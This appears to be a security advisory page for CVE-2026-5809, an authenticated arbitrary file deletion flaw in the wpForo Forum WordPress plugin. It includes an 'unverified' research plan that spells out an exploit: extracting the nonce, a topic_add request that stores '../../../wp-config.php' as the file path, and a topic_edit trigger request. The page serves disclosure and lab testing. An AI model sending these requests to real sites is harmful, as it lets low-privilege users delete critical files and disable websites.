CVE-2026-5809

wpForo Forum <= 3.0.2 - Authenticated (Subscriber+) Arbitrary File Deletion via 'data[body][fileurl]' Parameter

highExternal Control of File Name or Path
7.1
CVSS Score
7.1
CVSS Score
high
Severity
3.0.3
Patched in
4d
Time to patch

Description

The wpForo Forum plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to and including 3.0.2. This is due to a two-step logic flaw: the topic_add() and topic_edit() action handlers accept arbitrary user-supplied data[*] arrays from $_REQUEST and store them as postmeta without restricting which fields may contain array values. Because 'body' is included in the allowed topic fields list, an attacker can supply data[body][fileurl] with an arbitrary file path (e.g., wp-config.php or an absolute server path). This poisoned fileurl is persisted to the plugin's custom postmeta database table. Subsequently, when the attacker submits wpftcf_delete[]=body on a topic_edit request, the add_file() method retrieves the stored postmeta record, extracts the attacker-controlled fileurl, passes it through wpforo_fix_upload_dir() which only rewrites legitimate wpforo upload paths and returns all other paths unchanged, and then calls wp_delete_file() on the unvalidated path. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files writable by the PHP process on the server, including critical files such as wp-config.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
High
Availability

Technical Details

Affected versions<=3.0.2
PublishedApril 10, 2026
Last updatedApril 14, 2026
Affected pluginwpforo

What Changed in the Fix

Changes introduced in v3.0.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to demonstrate an authenticated arbitrary file deletion vulnerability in the **wpForo Forum** plugin (versions <= 3.0.2). ### 1. Vulnerability Summary The wpForo Forum plugin is vulnerable to **Arbitrary File Deletion** due to a two-step logic flaw in …

Show full research plan

This research plan outlines the steps required to demonstrate an authenticated arbitrary file deletion vulnerability in the wpForo Forum plugin (versions <= 3.0.2).

1. Vulnerability Summary

The wpForo Forum plugin is vulnerable to Arbitrary File Deletion due to a two-step logic flaw in the topic management system.

  1. Improper Metadata Storage: The topic_add() and topic_edit() action handlers accept a data array from $_REQUEST. The plugin fails to restrict the structure of fields like body, allowing an attacker to supply an array containing a fileurl key (e.g., data[body][fileurl]). This unvalidated path is saved to the plugin's custom topic metadata.
  2. Insecure Deletion: When a user submits an edit request with the wpftcf_delete[] parameter set to a field name (e.g., wpftcf_delete[]=body), the plugin's add_file() method retrieves the stored metadata. It passes the attacker-controlled fileurl through wpforo_fix_upload_dir(), which does not filter absolute or relative paths outside the wpForo directory, and finally calls wp_delete_file() on the path.

2. Attack Vector Analysis

  • Endpoint: The exploit targets the frontend forum interface where topics are created and edited.
  • Action: wpfaction=topic_add (to poison) and wpfaction=topic_edit (to trigger).
  • Authentication: Authenticated (Subscriber-level and above).
  • Vulnerable Parameters:
    • data[body][fileurl]: Used to store the target file path.
    • wpftcf_delete[]: Used to trigger the deletion logic for the specified field.
  • Preconditions: At least one forum must be active and accessible to the Subscriber for posting.

3. Code Flow (Inferred from Patch and Description)

  1. Poisoning Phase (topic_add / topic_edit):
    • User sends a POST request with wpfaction=topic_add.
    • WPF()->topic->add() (in classes/Topics.php - inferred) receives $_REQUEST['data'].
    • The body field is in the allowed list. Because it is handled as an array, the plugin stores [ 'fileurl' => '/path/to/target' ] in the database.
  2. Trigger Phase (topic_edit):
    • User sends a POST request with wpfaction=topic_edit and wpftcf_delete[]=body.
    • The handler calls a method (likely add_file()) to process file updates/deletions.
    • The code identifies body in the wpftcf_delete array.
    • It fetches the stored meta for body.
    • The fileurl value (/path/to/target) is passed to wpforo_fix_upload_dir().
    • wp_delete_file('/path/to/target') is executed.

4. Nonce Acquisition Strategy

The plugin uses a nonce for topic operations, typically named wpforo_nonce.

  1. Identify Forum: Find a valid forum ID (fid) where the user can post.
  2. Navigate: Use browser_navigate to go to the "Add Topic" page for that forum: /?wpf=add-topic&fid=1 (fid varies).
  3. Extract Nonce: Use browser_eval to extract the nonce from the hidden form field.
    browser_eval("document.querySelector('input[name=\"wpforo_nonce\"]')?.value")
    
  4. Extract Field Nonce: If the deletion uses a specific nonce for file management, search for inputs starting with wpftcf_.

5. Exploitation Strategy

Step 1: Poisoning (Creating the Topic)

Send an authenticated POST request to create a new topic with the target file path hidden in the body metadata.

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/index.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    wpfaction=topic_add
    &fid=1
    &wpforo_nonce=[EXTRACTED_NONCE]
    &data[t_subject]=Exploit Topic
    &data[body][fileurl]=../../../wp-config.php
    
  • Note: Extract the topicid from the resulting redirect URL or the page content.

Step 2: Triggering (Deleting the File)

Send an authenticated POST request to edit the topic and trigger the deletion of the body field.

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/index.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    wpfaction=topic_edit
    &topicid=[TOPIC_ID]
    &wpforo_nonce=[EXTRACTED_NONCE]
    &wpftcf_delete[]=body
    &data[t_subject]=Exploit Trigger
    &data[body]=cleared
    

6. Test Data Setup

  1. Subscriber User: Create a user with the subscriber role.
  2. Forum Setup: Ensure at least one forum exists. Use WP-CLI:
    wp forum create --title="General Discussion" --slug="general" --status="publish"
    
  3. Target File: Create a dummy file to delete to avoid breaking the environment immediately.
    echo "secret" > /var/www/html/wp-content/uploads/delete-me.txt
    
    Update the exploit payload data[body][fileurl] to point to /var/www/html/wp-content/uploads/delete-me.txt.

7. Expected Results

  • The first request should successfully create a topic.
  • The second request should return a success message or redirect back to the topic.
  • The file at the specified path (e.g., wp-config.php or delete-me.txt) should be deleted from the server.

8. Verification Steps

After the HTTP requests, use WP-CLI or filesystem checks to verify the deletion:

# Check if the dummy file still exists
ls /var/www/html/wp-content/uploads/delete-me.txt
# Expected: "ls: cannot access ... No such file or directory"

9. Alternative Approaches

If topic_add doesn't allow the initial injection, try injecting during topic_edit on an existing topic.
If the path requires relative traversal from the wpForo upload directory, use ../../../../wp-config.php. The number of ../ depends on where wp_delete_file expects the path (usually relative to ABSPATH or absolute). If the plugin uses wpforo_fix_upload_dir(), it likely attempts to resolve paths relative to the wpForo upload folder.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.